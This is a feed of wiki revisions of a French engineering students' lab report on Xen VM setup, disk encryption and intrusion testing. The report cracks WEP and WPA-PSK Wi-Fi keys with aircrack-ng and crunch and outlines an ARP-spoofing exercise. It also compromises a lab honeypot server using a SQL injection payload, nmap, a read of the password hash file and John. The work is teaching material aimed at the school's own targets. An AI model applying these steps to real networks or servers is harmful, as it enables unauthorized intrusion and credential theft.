'' Installez le paquetage dsniff sur votre eeePC. Transformez votre eeePC en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1. Insérez votre eeePC entre la machine fixe d’un autre binome et le routeur utilisé par cette machine fixe en utilisant la commande arpspoof. Lancez le sniffeur réseau wireshark sur l’eeePC pendant que l’autre binôme se connecte sur un site web HTTP avec des formulaires HTML. Que constatez-vous ? Essayez aussi de relever les paquets réseau pendant que l’autre binôme utilise un logiciel de conversation instantanée. ''&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53230</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53230"/>
				<updated>2020-11-05T14:06:18Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation des systèmes d’exploitation=&lt;br /&gt;
==2.1 Installation dans la machine virtuelle Xen==&lt;br /&gt;
&lt;br /&gt;
SSH sur capbreton&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:27 --ch 9 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet de scanner le réseau, et donc d'obtenir un handshake. Nous laissons tourner cette commande en boucle jusqu'a temps d'obtenir le handshake en question.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire le bruteforce. Pour cela, nous allons générer toutes les combinaisons de mots de passes possibles dans un dictionnaire. &lt;br /&gt;
&lt;br /&gt;
Pour générer ce dictionnaire, nous allons utiliser la commande crunch (que nous avons au préalable installé):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (0123456789) ainsi que le fichier où tout cela sera stocké (motdepasse.txt).&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
'' Installez le paquetage dsniff sur votre eeePC. Transformez votre eeePC en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1. Insérez votre eeePC entre la machine fixe d’un autre binome et le routeur utilisé par cette machine fixe en utilisant la commande arpspoof. Lancez le sniffeur réseau wireshark sur l’eeePC pendant que l’autre binôme se connecte sur un site web HTTP avec des formulaires HTML. Que constatez-vous ? Essayez aussi de relever les paquets réseau pendant que l’autre binôme utilise un logiciel de conversation instantanée. ''&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Injection SQL sur honey.plil.info, dans le '''login et le password''', on écrit : &lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un nmap :&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A partir de ces informations, on réalise plusieurs attaques et exploitations de failles, mauvaise configuration, mot de passe faible, etc.&lt;br /&gt;
Au final, nous avons réussi à trouver le mot de passe root du serveur. Nous y laissons la trace de notre passage &amp;quot;I was here IMA5 G8&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53229</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53229"/>
				<updated>2020-11-05T13:50:26Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 5.3  Cassage de mot de passe WPA-PSK par force brute */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation des systèmes d’exploitation=&lt;br /&gt;
==2.1 Installation dans la machine virtuelle Xen==&lt;br /&gt;
&lt;br /&gt;
SSH sur capbreton&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:27 --ch 9 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet de scanner le réseau, et donc d'obtenir un handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
'' Installez le paquetage dsniff sur votre eeePC. Transformez votre eeePC en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1. Insérez votre eeePC entre la machine fixe d’un autre binome et le routeur utilisé par cette machine fixe en utilisant la commande arpspoof. Lancez le sniffeur réseau wireshark sur l’eeePC pendant que l’autre binôme se connecte sur un site web HTTP avec des formulaires HTML. Que constatez-vous ? Essayez aussi de relever les paquets réseau pendant que l’autre binôme utilise un logiciel de conversation instantanée. ''&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Injection SQL sur honey.plil.info, dans le '''login et le password''', on écrit : &lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un nmap :&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A partir de ces informations, on réalise plusieurs attaques et exploitations de failles, mauvaise configuration, mot de passe faible, etc.&lt;br /&gt;
Au final, nous avons réussi à trouver le mot de passe root du serveur. Nous y laissons la trace de notre passage &amp;quot;I was here IMA5 G8&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Handshake1.png&amp;diff=53228</id>
		<title>Fichier:Handshake1.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Handshake1.png&amp;diff=53228"/>
				<updated>2020-11-05T13:49:28Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53227</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53227"/>
				<updated>2020-11-05T13:48:04Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 5.3  Cassage de mot de passe WPA-PSK par force brute */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation des systèmes d’exploitation=&lt;br /&gt;
==2.1 Installation dans la machine virtuelle Xen==&lt;br /&gt;
&lt;br /&gt;
SSH sur capbreton&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
